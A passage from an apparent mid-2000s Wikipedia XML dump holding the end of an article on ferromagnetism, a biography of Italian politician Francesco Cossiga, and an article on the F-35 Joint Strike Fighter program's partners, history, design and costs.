The spin of an [[electron]], combined with its [[planetary orbit|orbital]] [[angular momentum]], results in a magnetic [[dipole]] [[Magnetic moment|moment]] and creates a [[magnetic field]].    (The classical analogue of quantum-mechanical spin is a spinning ball of charge, but the quantum version has distinct differences, such as the fact that it has discrete up/down states that are not described by a [[vector (spatial)|vector]]; similarly for &quot;orbital&quot; motion, whose classical analogue is a [[current (electricity)|current]] loop.)  In many materials (specifically, those with a filled [[electron shell]]), however, the total dipole moment of all the electrons is zero (e.g., the spins are in up/down pairs).  Only atoms with partially filled shells (e.g., unpaired spins) can experience a net magnetic moment in the absence of an external field.  A ferromagnetic material has many such electrons, and if they are aligned they create a measurable macroscopic field.

These permanent dipoles (often called simply &quot;spins&quot; even though they also generally include orbital angular momentum) tend to align in parallel to an external magnetic field, an effect called [[paramagnetism]].  (A related but much smaller effect is [[diamagnetism]], due to the orbital motion ''induced'' by an external field, resulting in a dipole moment ''opposite'' to the applied field.)  Ferromagnetism involves an additional phenomenon, however: the dipoles tend to ''align spontaneously'', without any applied field.  This is a purely quantum-mechanical effect.

According to classical [[electromagnetism]], two nearby magnetic dipoles will tend to align in ''opposite'' directions (which would create an [[antiferromagnetism|antiferromagnetic]] material).  In a ferromagnet, however, they tend to align in the ''same'' direction because of the Pauli principle: two electrons with the same spin state cannot lie at the same position, and thus feel an effective additional repulsion that lowers their electrostatic energy.  This difference in energy is called the ''exchange energy'' and induces nearby electrons to align.

At long distances (after many thousands of ions), the exchange energy advantage is overtaken by the classical tendency of dipoles to anti-align.  This is why, in an equilibriated (non-magnetized) ferromagnetic material, the dipoles in the whole material are not aligned.  Rather, they organize into '''magnetic domains''' that are aligned (magnetized) at short range, but at long range adjacent domains are anti-aligned.  The transition between two domains, where the magnetization flips, is called a [[Domain wall]] (e.g., a [[Bloch wall|Bloch]]/[[Néel wall]], depending upon whether the magnetization rotates parallel/perpendicular to the domain interface) and is a gradual transition on the atomic scale (covering a distance of about 300 ions for iron).

Thus, an ordinary piece of iron generally has little or no net magnetic moment.  However, if it is placed in a strong enough external magnetic field, the domains will re-orient in parallel with that field, and will remain re-oriented when the field is turned off, thus creating a &quot;permanent&quot; magnet.   This magnetization as a function of the external field is described by a [[hysteresis]] curve.   Although this state of aligned domains is not a minimal-energy configuration, it is extremely stable and has been observed to persist for millions of years in seafloor [[magnetite]] aligned by the Earth's magnetic field (whose [[North Pole#Magnetic North|poles]] can thereby be seen to flip at long intervals). The net magnetization can be destroyed by heating and then cooling (''annealing'') the material without an external field, however.

As the temperature increases, thermal oscillation, or entropy, competes with the ferromagnetic tendency for dipoles to align.  When the temperature rises beyond a certain point, called the '''Curie temperature''', there is a second-order [[phase transition]] and the system can no longer maintain a spontaneous magnetization, although it still responds paramagnetically to an external field.  Below that temperature, there is a spontaneous symmetry breaking and random domains form (in the absence of an external field).  The Curie temperature itself is a [[critical point]], where the [[magnetic susceptibility]] is theoretically infinite and, although there is no net magnetization, domain-like spin correlations fluctuate at all lengthscales.

The study of ferromagnetic phase transitions, especially via the simplified [[Ising model|Ising]] spin model, had an important impact on the development of statistical physics.  There, it was first clearly shown that [[mean field theory]] approaches failed to predict the correct behavior at the critical point (which was found to fall under a ''universality class'' that includes many other systems, such as liquid-gas transitions), and had to be replaced by [[renormalization group]] theory.

==Unusual ferromagnetism==

In 2004, it was reported that a certain [[allotropy|allotrope]] of [[carbon]], [[nanofoam]], exhibited ferromagnetism.  The effect dissipates after a few hours at room temperature, but lasts longer at cold temperatures.  The material is also a [[semiconductor]].  It is thought that other similarly-formed materials, such as [[isoelectronic]] compounds of [[boron nitride|boron and nitrogen]], may also be ferromagnetic.  

The alloy ZnZr&lt;sub&gt;2&lt;/sub&gt; is also ferromagnetic below 28.5 K.

== See also ==

* [[Antiferromagnetism]]
* [[Diamagnetism]]
* [[Ferrimagnetism]]
* [[Ferromagnetic interaction]]
* [[Paramagnetism]]

{{magnetic states}}

== References ==

* Charles Kittel, ''Introduction to Solid State Physics'' (Wiley: New York, 1996).
* Neil W. Ashcroft and N. David Mermin, ''Solid State Physics'' (Harcourt: Orlando, 1976).
* John David Jackson, ''Classical Electrodynamics'' (Wiley: New York, 1999).
* E. P. Wohlfarth, ed., ''Ferromagnetic Materials'' (North-Holland, 1980).
* &quot;Nanofoam makes magnetic debut,&quot; ''Physics World'' '''17''' (5), 3 (May 2004).
* &quot;Heusler alloy,&quot; ''Encyclopedia Britannica Online'', retrieved Jan. 23, 2005.
* F. Heusler, W. Stark, and E. Haupt, ''Verh. der Phys. Ges.'' '''5''', 219 (1903).

[[Category:Electric and magnetic fields in matter]]

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    <title>Ferromagnetic</title>
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  <page>
    <title>Francesco Cossiga</title>
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      <text xml:space="preserve">[[Image:Francesco Cossiga2.jpg|thumb|Francesco Cossiga]]
[[Francesco Cossiga]] (born in [[Sassari]] on [[July 26]], [[1928]]) is an [[Italy|Italian]] politician and former [[List of Presidents of the Italian Republic|President of the Italian Republic]]. He is also a professor of [[law]] at [[university of Sassari]].

==Early career==

Cossiga started his political career during [[World War II]] in groups of Catholic reference.

He has been several times a minister for [[Democrazia Cristiana]] (DC); notably during his stay at [[Viminale]] (Ministry for internal affairs) he re-structured Italian [[police]], civil protection and [[secret services]] organisations. He was in charge during the [[kidnapping]] and murdering of [[Aldo Moro]] by [[Red Brigades]] and resigned when Moro was found dead in [[1978]].

==Election as President of Italy==

Resigning from his post, he earned the respect of the opposition (in particular of the [[Italian Communist Party]]) because he appeared as the only member of the government who took responsibility for the tragic conclusion of the events. This led to his election in [[1985]] as President of the Republic (Head of State), in which for the first time ever a candidate won at the first ballot (where a majority of over 2/3 is necessary, which would subsequently decrease in later ballots). The only other president to be elected at the first ballot has been current president [[Carlo Azeglio Ciampi]].

==The Cossiga Presidency==
Cossiga's presidency was unremarkable for its first six years (of seven), as most presidents until then refrained entering the political debate in order to remain figures of reference for the whole nation. However, in his last year, Cossiga began to express opinions, at times virulent, against various political figures.

These declarations, soon dubbed &quot;esternazioni&quot;, or &quot;[[mattock]] blows&quot; (''picconate''), were considered by many inappropriate for a President. Many politicians suggested he was somewhat mentally unstable. He attacked personal enemies as party fellow [[Giulio Andreotti]], and was supported by the secretary of the [[Italian Socialist Party]], [[Bettino Craxi]]. Cossiga declared he was just &quot;taking pleasure in removing some sand from my shoes&quot;. However, when he mentioned his involvement in [[Gladio]], a [[Stay behind]] organization that could have staged a [[coup d'état]] in case the Communists had entered the government, the Communist party started a procedure for [[impeachment]] (Presidents of Italy can be impeached only for [[high treason]] against the State or [[Attempt]] against the [[Constitution of Italy|Constitution]]).

Cossiga resigned shortly before the end of his term. He was voted again for president by the [[Fascism|fascist]] [[Italian Social Movement]], that had supported him in his campaigns.

==Lifetime senator==
After his resignation from [[Quirinale]] (the Roman hill in which is the office of the Head of State), he is a lifetime senator since [[1992]].

He has remained a vocal commentator of Italian politics, and has acquired a reputation for rapidly shifting positions, possibly because as a lifetime senator he does not need to be loyal to any party to be re-elected. He does no longer play a major political role.

Italian magazine [[Panorama]] revealed that he had sent a letter to prime minister [[Giulio Andreotti]] after having reviewed the content of interviews between [[RAI]] journalist [[Ennio Remondino]] and former [[CIA]] agents [[Richard Brenneke]] and [[Ibrahim Razin]], concerning links between the CIA and [[P2]] freemasonry lodge, as well as the circumstances of Swedish prime minister [[Olof Palme]]'s murder in [[1986]]. President Cossiga was concerned by the statements, and said: &quot;If the government were to think that the information had any basis, I think that it should inform the judiciary authority and the Parliamentary Commission on Massacres and, at the level of the bilateral relations, the relevant authorities in the U.S.A. and in Sweden.&quot; Otherwise, the journalists who published the information without previously thoroughly checking its validity, should be punished [http://www.skepticfiles.org/socialis/cossiga.htm].

==References==
*[http://www.skepticfiles.org/socialis/cossiga.htm Letter to Giulio Andreotti concerning P2, CIA and Olof Palme]
*{{Citenews | title=Le confessioni di Cossiga: 'Io, Gelli e la massoneria' | org=La Repubblica | date=October 11, 2003 | url=http://www.repubblica.it/2003/i/sezioni/politica/gelli/cossiga/cossiga.html}} (on links between Cossiga, [[Licio Gelli]] and [[Propaganda Due]] masonic lodge; [[Emilio Eduardo Massera|Massera]], part of [[Jorge Rafael Videla|Videla]]'s junta in Argentina, is also named)

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{{succession box|title=[[Italian Minister of the Interior]]|before=[[Aldo Moro]]|after=[[Giulio Andreotti]]|years=1976–1978}}
{{succession box|title=[[Prime Minister of Italy]]|before=[[Giulio Andreotti]]|after=[[Arnaldo Forlani]]|years=1979&amp;ndash;1980}}
{{succession box|title=[[List of Presidents of the Italian Republic|President of the Italian Republic]]|before=[[Sandro Pertini]]|after=[[Oscar Luigi Scalfaro]]|years=1985&amp;ndash;1992}}
{{end box}}

[[Category:1928 births|Cossiga, Francesco]]
[[Category:Living people|Cossiga, Francesco]]
[[Category:Fellows of Oriel College, Oxford|Cossiga, Francesco]]
[[Category:Italian Ministers of the Interior|Cossiga, Francesco]]
[[Category:Natives of Sassari|Cossiga, Francesco]]
[[Category:Presidents of the Italian Republic|Cossiga, Francesco]]
[[Category:Prime Ministers of Italy|Cossiga, Francesco]]
[[Category:Italian Life Senators|Cossiga, Francesco]]

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  </page>
  <page>
    <title>F-35 Joint Strike Fighter</title>
    <id>11812</id>
    <revision>
      <id>42146850</id>
      <timestamp>2006-03-04T03:12:10Z</timestamp>
      <contributor>
        <ip>68.100.52.183</ip>
      </contributor>
      <comment>update of IOC dates</comment>
      <text xml:space="preserve">[[Image:JSF logo.jpg|right|220px|]]

The '''F-35 Joint Strike Fighter''' ('''JSF''') is a [[military]] [[fighter aircraft]] designed by the [[USA]] and the [[United Kingdom]].  It is intended to replace the current generation of strike fighters, particularly the [[VSTOL|vertical take off and landing]] Harrier jump jets : the [[AV-8 Harrier II]] (US), [[RAF Harrier II|Harrier GR7/9]] (UK), and the [[BAE Sea Harrier|Sea Harrier]] (UK), along with the conventional [[A-10 Thunderbolt II]], [[F/A-18 Hornet]] and the [[F-16 Fighting Falcon]]. It is set to be a multi-role [[strike fighter]] (a plane with a strong emphasis on [[close air support]] and tactical bombing as well as being capable of air-to-air combat), currently in production with [[Lockheed Martin]], along with partners [[Northrop Grumman]] and [[BAE Systems]].

Three variants are envisioned: the conventional takeoff and landing (CTOL) F-35A for the [[United States Air Force|U.S. Air Force]] (USAF) and the [[Royal Air Force|RAF]]; the Advanced Short Take-Off Vertical Landing (ASTOVL) F-35B for the [[United States Marine Corps|U.S. Marine Corps]] (USMC) and the [[Royal Navy]] (RN); and the [[aircraft carrier|carrier]]-based (CV) F-35C for the [[United States Navy|U.S. Navy]] (USN). The USAF is considering the F-35B, and the Royal Navy is considering ordering the F-35C variant for its large [[Royal Navy CVF programme|CVF]] Future Carrier programme.

The F-35, expected to be ready for service in [[2011]], is scheduled to begin replacing Marine Corps AV-8B Harrier and F/A-18s in [[2009]], and the USAF [[A-10 Thunderbolt II]] and F-16 in [[2011]]. 

==International participation==
[[Image:F-l3 lift fan.jpg|right|250px|thumb|F-35 lift fan; the [[VTOL]] propulsion system is designed and manufactured by [[Rolls-Royce plc]].]]
The primary customers are the armed forces of the United States (USAF, USN, and USMC) and the United Kingdom (RAF and RN). There are three levels of international participation for the eight countries contributing to the program. The United Kingdom is the sole level I partner, contributing a little over $2 billion. Level II partners are [[Italy]] and the [[Netherlands]], contributing $1 billion and $800 million respectively.  At level III are [[Turkey]] ($175 million), [[Australia]] ($144 million), [[Norway]] ($122 million), [[Denmark]] ($110 million), and [[Canada]] ($100 million).  The levels generally indicate the financial stake in the program, the level of technology transfer and subcontracts open for bid by national companies, and the general order in which countries can obtain production aircraft. [[Israel]] and [[Singapore]] have also joined as Security Cooperative Participants. &lt;ref&gt;Katherine V. Schnasi [http://www.gao.gov/new.items/d04554.pdf Joint Strike Fighter Acquisition: Observations on the Supplier Base] ''US Accounts Office''. Retrieved Feb. 08, 2006.&lt;/ref&gt;

The biggest international partner, the United Kingdom, has invested two billion in development funding for the project. Britain has also worked for five years for an [[ITAR]] waiver to allow greater technology transfer associated with the project. The effort, backed by the Bush administration, has been repeatedly blocked by U.S. Congressman [[Henry Hyde]] because of his concern about potential technology transfer to third countries. &lt;ref&gt;Spiegel, Peter, MSNBC [http://64.233.179.104/search?q=cache:E7c2TgkVc2YJ:www.msnbc.msn.com/id/10164422/ UK denied waiver on US arms technology]. ''Financial Times'' (MSNBC reprint).  Retrieved Feb. 08, 2006.&lt;/ref&gt;

The CEO of [[BAE Systems]], the British contractor on the plane, has complained that the U.S. has not given the UK (and his company) access to the crucial [[source code]] of the plane's software, thus making it impossible for the UK to maintain and modify the JSF independently. At a news conference at the Paris Air Show, he has even suggested that the UK may withdraw from the program unless additional access is granted, though analysts consider this unlikely &lt;ref&gt;Fletcher, Matthew; Katz, Alan ([[June 16]] [[2005]]).  [http://www.bloomberg.com/apps/news?pid=10001062&amp;sid=a_DiEG3P6thw&amp;refer=movers_by_index U.K. May Miss Out on Technology From U.S. Fighter]. ''Bloomberg.com''. Retrieved Feb. 08 , 2006.&lt;/ref&gt;. On [[21 December]] [[2005]] an article was published in the ''[[Glasgow Herald]]'' saying that MPs viewed as &quot;unacceptable&quot; the U.S. refusal to grant access to the source code. The article quotes the chairman of the Commons Defence Select Committee as saying that unless the UK receives assurances of access to the software information, &quot;the UK might have to consider whether to continue in the programme&quot;.&lt;ref&gt;UK Defense Committee Statement [http://www.parliament.uk/parliamentary_committees/defence_committee/def051220___no__13.cfm MoD 'slippage' set to leave forces with reduced capability, says committee] ''UK Parliament''. Retrieved Feb. 08, 2006.&lt;/ref&gt; Nonetheless, UK production commenced on [[2 February]] [[2006]].&lt;ref&gt;Helen Jocelyn [http://www.baesystems.com/newsroom/2006/feb/020206news1.htm Lift-Off as production starts on first STOVL F-35] ''BAE Systems''. Retrieved Feb.08, 2006.&lt;/ref&gt;

International participants have at various times been cited as considering withdrawing from the JSF Program in favor of other aircraft such as [[Eurofighter Typhoon]], [[Gripen]] or [[Dassault Rafale|Rafale]]. Perceived inequitable sharing in JSF production is most often cited as the reason for considering withdrawal, rather than cost or performance concerns.

==Program history ==
[[Image:JSF competitors.JPG|thumb|250px|[[Boeing X-32]] (left) and Lockheed Martin X-35 prior to down-select in 2001, where the X-35 was chosen. DoD photo]]

The Joint Advanced Strike Technology (JAST) program was created in 1993 as a result of a [[United States Department of Defense]] (DoD) ''Bottom-Up-Review''.  The major tactical aviation results of the review were to continue the ongoing [[F-22]] and F/A-18E/F programs, cancel the Multi-Role Fighter (MRF) and the A/F-X programs, curtail [[F-16]] and F/A-18C/D procurement, and initiate the JAST Program.

The JAST program office was established on [[January 27]], [[1994]]. It was established to define and develop [[aircraft]], [[weapons|weapon]], and [[radar|sensor technology]] that would support the future development of tactical aircraft.  The final goal was to replace several aging U.S. and UK aircraft with a common family of aircraft, of which the JSF is one example.

It will complement the USAF's high-end [[F-22 Raptor]] air superiority fighter and the USN's [[F/A-18E/F Super Hornet]] as well as Europe's Eurofighter.

===Concept demonstration===
The contract for development of the prototypes was awarded on [[16 November]] [[1996]] to Lockheed Martin and [[Boeing]], under which each was to produce two aircraft which were to demonstrate Conventional Take Off and Landing (CTOL), carrier take off and landing (CV version), and Short Take Off and Vertical Landing ([[STOVL]]).

Also in 1996 the UK [[Ministry of Defence (United Kingdom)|Ministry of Defence]] launched the [[Joint Combat Aircraft|Future Carrier Borne Aircraft]] project, a replacement for the [[BAE Sea Harrier|Sea Harrier]] (and later the [[RAF Harrier II|Harrier GR7]]), for which the Joint Strike Fighter was selected in January 2001.

===System development and demonstration===
The construction contract, System Development and Demonstration (SDD), was awarded on [[26 October]], [[2001]] to the Lockheed Martin X-35, beating the [[Boeing X-32]].  The first planes are expected to enter service in 2008. Announcing the decision, DoD officials and the UK [[William Bach|Minister of Defence Procurement]] said that while both aircraft met or exceeded requirements, the X-35 outperformed the Boeing aircraft consistently. This dominance can only have been achieved by Lockheed's method of STOVL flight; in fact, the decision is said to have clinched the contract.

On [[February 19]], [[2006]], the first F-35 (USAF version) was rolled out in [[Fort Worth]], [[Texas]] by Lockheed Martin.  The aircraft will undergo extensive ground testing and then flight tests in the fall.

* [http://www.upi.com/SecurityTerrorism/view.php?StoryID=20060220-022201-9586r UPI Story]
* [http://www.flickr.com/photos/78241254@N00/sets/72057594068144534/ Photos on Flickr]

==Design==
[[Image:Harrier.gr7.750pix.jpg|thumb|250px|The [[RAF Harrier II|Harrier]], which the JSF is set to replace.]]

The X-35 powerplant uses the highly complex Remote Shaft-Driven Lift Fan concept, where (in the STOVL mode) LP turbine power is diverted, forward via a clutch-and-bevel gearbox, to a vertically mounted, contra-rotating, remote fan. Bypass air exhausts through a pair of roll post nozzles on either side of the fuselage, whilst both the remote fan and the LP turbine streams exhaust through thrust vectoring nozzles. In effect, the X-35 power plant acts as a flow multiplier and consequently has more than sufficient thrust for lift operations. This lift concept has the additional benefit of lowering environmental effects during (primarily) landing, where the thermal effects on, for example, a carrier deck are greatly reduced.

The rival Boeing X-32 adopted the relatively elegant Direct Lift System, where the engine exhaust gases were redirected to thrust vectoring nozzles to achieve lift during a STOVL landing. However, even though the fan was oversized and throttle-pushed, it had insufficient thrust for lift. Because of the large engine airflow, the X-32 required a huge front air intake, compromising the aesthetics of the aircraft's aerodynamics. According to critics, Boeing designed an airplane &quot;only its mother would love&quot;, in direct violation of the maxim &quot;if it looks good, it flies good&quot;. 

Both the X-32 and X-35 power plants were derived from Pratt &amp; Whitney F119, with the STOVL variant of the latter incorporating [[Rolls-Royce plc|Rolls Royce]] Lift Fan module.

Note also that elements of the JSF design were pioneered by the F-22. The airframe appears quite similar to the F-22, albeit somewhat reduced in size, and only has a single engine.

Primary factors in the design included:  
* [[Stealth technology]] capability
* Integrated avionics and sensor fusion - This allows information from off board sensors to be combined with those on-board the aircraft, to enhance the pilot's situational awareness and improve precision weapon delivery.
* Low construction cost
* Low maintenance cost

=== Advanced weapons ===
The direct lift fan assembly, when not installed, provides approximately 100 ft&lt;sup&gt;3&lt;/sup&gt; of space &lt;ref&gt;Morris, Jefferson ([[26 September]] [[2002]]). [http://72.14.203.104/search?q=cache:v3kRGjhuv2gJ:aviationnow.com/avnow/news/channel_military.jsp  Keeping Cool A Big Challenge For JSF Laser, Lockheed Martin Says]. ''Aerospace Daily''  Retrieved Feb. 08, 2006.&lt;/ref&gt;, along with more than 27,000 [[Horsepower|hp]] (20 [[Megawatt|MW]]) available for electrical power production &lt;ref&gt;Fulghum, David A. ([[July 8]] [[2002]]). [http://72.14.203.104/search?q=cache:aP3j50iJi6MJ:www.aviationnow.com/content/publication/awst/20020708/aw32.htm Lasers Being Developed for F-35 and AC-130]. ''Aviation Week and Space Technology''   Retrieved Feb. 08, 2006.&lt;/ref&gt;. This has made [[directed-energy weapon]]s possible for the F-35. Some of these designs, including solid state lasers and high-power microwave beams, are thought to be nearing operational status &lt;ref&gt; Fulghum, David A. ([[July 22]] [[2002]]). [http://72.14.203.104/search?q=cache:nDo39ApEoK4J:www.aviationnow.com/content/publication/awst/20020722/aw173.htm  ''Lasers, HPM Weapons Near Operational Status'']. ''Aviation Week and Space Technology''  Retrieved Feb. 08, 2006.&lt;/ref&gt;.

== Possible reduction to two primary variants ==
Experts predicted in 2005 that the JSF program's Conventional Take-off and Landing [CTOL] F-35A variant may be canceled by acting U.S. Deputy Defense Secretary Gordon England. &lt;ref&gt;Selinger, Marc ([[21 November]] [[2005]]). [http://www.aviationnow.com/avnow/news/channel_aerospacedaily_story.jsp?id=news/JSAF11215.xml U.S. Air Force's JSF Variant May Be Killed, Expert Says]. ''Aviation Week and Space Technology''  Retrieved Feb. 08, 2006.&lt;/ref&gt; This would not immediately save money in the program as the preproduction F-35A prototypes are already under construction, but long term, this cancellation could free up enough money to ensure that the program's F-35B and F-35C variants survive in the United States' tightening defense budget. Since then a flurry of lobbying from the JSF contractors, the Air Force, and representatives from the United Kingdom has convinced Secretary England and the DoD to stick with the 3-variant program.

Had such a cancellation occurred, the United States Air Force would stay in the program by purchasing either the STOVL F-35B for its close air support capabilities, the F-35C for its greater range, or a combination of the two. However, buys of these variants would likely be less than the 1000+ CTOL originally envisioned by the Air Force, as both variants cost more. This would have been a boon for A-10 and F-16 supporters, since those aircraft would probably be retained longer to compensate.

Export partners who were already wary of the JSF's rising costs showed some concern over a potential CTOL cancellation. Even the UK, which has no CTOL JSF requirement, lobbied to preserve that variant in order to keep costs of the others down. In the long run, the F-35B and F-35C should still be appealing to at least some of the international market, being the only fifth-generation program with a STOVL variant for countries in need of Harrier replacements.

== Analysis of JSF program ==
Critics of the program maintain that the JSF suffers from ill-defined design goals; that it has insufficient range to make a capable replacement for dedicated bombing aircraft; that its inability to [[supercruise]] limits it as an air defense platform, and that it is almost certain to suffer lengthy development delays and cost overruns; meaning that interim types will have to be purchased to fill the gap between the end of useful life of existing fleets and the introduction of the JSF. However, it is important to note that the multi-role design philosophy has been tested and proven in combat over a period of at least 25 years, with successful types like the F-16 Fighting Falcon and the F-18 Hornet.  Several nations, mainly current F-16 and F-18 users, already have sufficient confidence in the design to have committed substantial sums to become minority partners in the JSF manufacturing team.

The program's advocates see the JSF as an opportunity to break out of the decades-old pattern of U.S. military aircraft procurement: instead of a traditional per-service design approach, the JSF is being developed jointly by the Air Force, Navy and Marine Corps. This allows an estimated 80% [[commonality]] between the JSF variants for the different services, lowering procurement and service costs. This follows to a degree the philosophy behind the [[SEPECAT Jaguar]] and [[Panavia Tornado]] international development programs, the latter being called a multi-role combat aircraft (or MRCA) prior to service entry. Additionally, JSF is the first U.S. aircraft program to consider ''cost as independent variable'' (CAIV). In earlier programs the aircraft cost has been a dependent variable; additional features have always increased the aircraft cost. Such design changes are not being allowed during the JSF development.

=== Non-vehicle differentiator ===
A ground-based information system (the Autonomic Logistic Information System, or ALIS), built by Lockheed Martin Simulation Training and Support, is intended to make the JSF less expensive to operate and maintain.

=== Cost/weight issues ===
Through 2004 the JSF's total projected cost had risen 23% to $244 billion.  The major technical problem was the F-35B variant's mass, which was reported to be 2,200 pounds, or 8%, over the target, which meant that the STOVL plane was projected to miss performance requirements.

Lockheed Martin eventually solved the weight problem by adding engine thrust and shedding over a ton by thinning the aircraft's skin; shrinking the F-35B weapons bay and vertical tails; redesigning the wing-mate joint, portions of the electrical system, and the portion of the aircraft immediately behind the cockpit; and rerouting some thrust from the roll-post outlets to the main nozzle. &lt;ref&gt;Fulghum, David A.;  Wall, Robert ([[19 September]] [[2004]]).  [http://www.aviationnow.com/avnow/news/channel_awst_story.jsp?id=news/09204wna.xml USAF Plans for Fighters Change]. ''Aviation Week and Space Technology''  Retrieved Feb. 08, 2006.&lt;/ref&gt;

The smaller weapons bay will limit F-35B to 2 x 1000 lb (450 kg) weapons internally (this is as originally planned, for the 2 x 2000 lb requirement was added later). This is not expected to be a hindrance in [[close air support]] missions, which are likely to take place after enemy air defenses are down. Still, this may make the B variant different from the other two, boosting costs.

The internal weapons are stored offline to the external air flow, which will make for some interesting weapons certification work.  The JSF has yet to drop a bomb, fire a missile, or fire a gun airborne—no demonstrations of weapons delivery capability were done during the &quot;winner take all&quot; fly off prior to contract award.

=== USAF STOVL purchase ===
The JSF program is not immune from interservice politics.  A recurring theme has been the potential for a USAF requirement for the F-35B. The STOVL variant had been viewed as the most likely victim of cost-cutting measures; however, a USAF &quot;commitment&quot; seems to guarantee the aircraft that the USMC, RN, and RAF need. It is understood that the U.S. military's experience in [[Afghanistan]] has highlighted the importance of more flexible assets in the [[close air support]] role.

The USAF has investigated buying up to three wings (representing 216 examples) of the F-35B. For a time it appeared that the hypothetical USAF variant of the F-35B would contain enough changes to constitute a new variant (an F-35D). Changes were to include differences in the propulsion system to increase emphasis on [[STOL]] capability over that of [[VTOL]], a larger wing to allow more fuel, an interior cannon (as opposed to the USMC external gun pod), or changes to the in-flight refueling system. However, due to opposition from people involved with the program, and the associated cost of developing a fourth variant, the USAF version would likely be identical to the USMC/RN F-35B specification.

=== Australian Participation ===
In May 2005 the [[Australia|Australian]] government announced that it was delaying a final decision on the JSF from the initial 2006 decision date to 2008 (and thus past the term of the present government).  There are some concerns amongst Australian media, lobby groups and politicians, who have raised doubts that the aircraft will be ready in time to replace the aging Australian air force fleet of [[F-111]] ground attack planes and F/A-18 fighters.  

Concerns have been raised over cost efficiency, [[dog fight|dog fighting]] capability, short range and lack of [[supercruise]].  The government also claims that the cost of purchasing mature F-22s may not be that much greater than the JSF. &lt;ref&gt;Related discussions and analyzes on [http://www.ausairpower.net Air Power Australia web site].&lt;/ref&gt;

It should be noted on this claim that Jane’s Defence weekly recently (in 2005) put the value of an F-22 at $151 million dollars U.S., rising to $200 million if upgrades to approach the F-35's air to ground targeting performance were included. At a projected price of $45 million U.S. (2003 dollars), the F-35 is three to four times cheaper than the F-22. Therefore, there would have to be a very significant cost blowout in the F-35 program for the F-22 to become better value for money.

== Specifications (F-35 Joint Strike Fighter) ==
[[image:Joint Strike Fighter.jpg|thumb|250px|The F-35 Joint Strike Fighter]]
Some information is estimated.
{{Airtemp|
|jet or prop?=jet
|has armament?=yes
|switch order of units?=no

|crew=1
|length main=50 ft 6 in
|length alt=15.37 m
|span main=35 ft 0 in
|span alt=10.65 m
|height main=17 ft 4 in
|height alt=5.28 m
|area main=459.6 ft²
|area alt=42.7 m²
|empty weight main=26,000 lb
|empty weight alt=12,000 kg
|loaded weight main=42,000 lb
|loaded weight alt=19,000 kg
|max takeoff weight main=50,000 lb
|max takeoff weight alt=23,000 kg

|number of jets=1
|engine (jet)=[[Pratt &amp; Whitney F135]]
|type of jet=afterburning [[turbofan]]
|thrust main=37,100 lbf
|thrust alt=165 kN)
*'''Secondary (High Performance)''', discontinued in current budget proposal&lt;ref&gt;Watson, Ian ([[22 January]] [[2006]]). [http://www.thebusinessonline.com/Stories.aspx?Bush%20rejects%20Blair%E2%80%99s%20pleas%20to%20save%20F-35%20contract%20for%20Rolls-Royce&amp;StoryID=FA93D8B4-76B7-40E9-8EF6-1B63D487518E&amp;SectionID=F3B76EF0-7991-4389-B72E-D07EB5AA1CEE Bush rejects Blair’s pleas to save F-35 contract for Rolls-Royce]. ''Business Online, UK'' Retrieved Feb. 08, 2006.&lt;/ref&gt;: 1x [[General Electric/Rolls-Royce F136]] afterburning turbofan 178 kN thrust
*'''Lift fan''' (STOVL): 1x Rolls-Royce Lift System in conjunction with either F135 or F136 power plant 18,000 lbf (80 kN) thrust

|max speed main=[[Mach number|Mach]] 1.8
|max speed alt=1,200 mph, 2,000 km/h
|cruise speed main=Mach
|cruise speed alt= mph, km/h
|range main=620 miles
|range alt=1,000 km
|ceiling main=48,000 ft
|ceiling alt=15,000 m
|climb rate main=40,000 ft/min&lt;ref&gt;The exact statistic is [[classified]].&lt;/ref&gt;
|climb rate alt=200 m/s
|loading main=91.4 lb/ft²
|loading alt=446 kg/m²
|thrust/weight=0.63

|armament=* 1x [[GAU-12 Equalizer|GAU-12/U]] 25 mm cannon. Mounted internally with 180 rounds in the F-35A, fitted as an external pod with 220 rounds in the F-35B/C
*In two bomb bays (current planned weapons for integration) - One AIM-120 AMRAAM, AIM-9X Sidewinder or [[AIM-132 ASRAAM]] internally on the inside of the bomb bay door and one air-to-air or air-to-ground weapon in each bomb bay. These could be AMRAAM, the Joint Direct Attack Munitions (JDAM) - up to 2,000 lb (910 kg), the Joint Stand off Weapon (JSOW), Small Diameter Bombs (SDB)- a maximum of 4 in each bay, the [[Brimstone missile|Brimstone]] anti-armor missiles, Cluster Munitions (WCMD) and High Speed Anti-Radiation Missiles (HARM). The [[MBDA Meteor]] air to air missile is currently being adapted to fit internally in the missile spots and may be integrated into the F-35.  
* At the expense of being more detectable by radar, more missiles, bombs and fuel tanks can be attached on four wing pylons and two wingtip positions. The latter can only take short-range air-to-air missiles, while the [[Storm Shadow]] and Joint Air to Surface Stand-off Missile (JASSM) cruise missiles can be carried in addition to the stores already integrated.

}}

===Other===
* Cost: (in millions US$):
**'''F-35A''': 45
**'''F-35B''': 60
**Costing as per Asia Pacific Defence Reporter, September 2005.
**'''F-35C''': 55
* First flight - X-35 demonstrator: 2000
* Expected first flight F-35A - September 2006
* In-service date: expected to be 2009 through 2012. The reason for this is that the A will be brought into service first followed by the B.  The C will be in service in 2012.

===Manufacturing responsibilities===
* '''[[Lockheed Martin Aeronautics]] (prime contractor)'''
** Final assembly
** Overall system integration
** Mission system
** Forward fuselage
** Wings

* '''[[Northrop Grumman]]'''
** [[Active Electronically Scanned Array]] (AESA) radar
** Center fuselage
** Weapons bay
** Arrestor gear

* '''[[BAE Systems]]'''
** Aft fuselage and empennages
** Horizontal and vertical tails
** Crew life support and escape
** [[Electronic warfare]] systems
** Fuel system
** Flight Control Software (FCS1)

==Media==
{{multi-video start}}
{{multi-video item|filename=F-35 compilation.ogg|title=F-35 flight (video)|description=F-35 flight, video of transition to VTOL configuration, hover, take off in STOVL configuration, in-flight re-fuelling, vertical hover and landing.|format=[[Theora]]}}
{{multi-video item|filename=F-35 gun.ogg|title=F-35 gun test (video)|description=Test firing of F-35 gun.|format=[[Theora]]}}
{{multi-video item|filename=F-35 verticle landing.ogg|title=F-35 vertical landing (video)|description=Vertical landing (video)|format=[[Theora]]}}
{{multi-video end}}

== Further reading ==
* Spick, Mike (2002), ''The Illustrated Directory of Fighters''. Salamander ISBN 1-84065-384-1
* Kopp, Carlo; Goon, Peter, ''Australian Aviation'', [http://www.ausairpower.net/jsf.html JSF related articles].

==Notes and references==
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==External links==
*[http://www.jsf.mil/ Official homepage]
*[http://www.teamjsf.com/ Official Industrial Team homepage]
*[http://www.edfinc.com/pages/jsf-engine.htm JSF advanced military gas turbine engine Test Stand C-14 (West Palm Beach, Florida)]
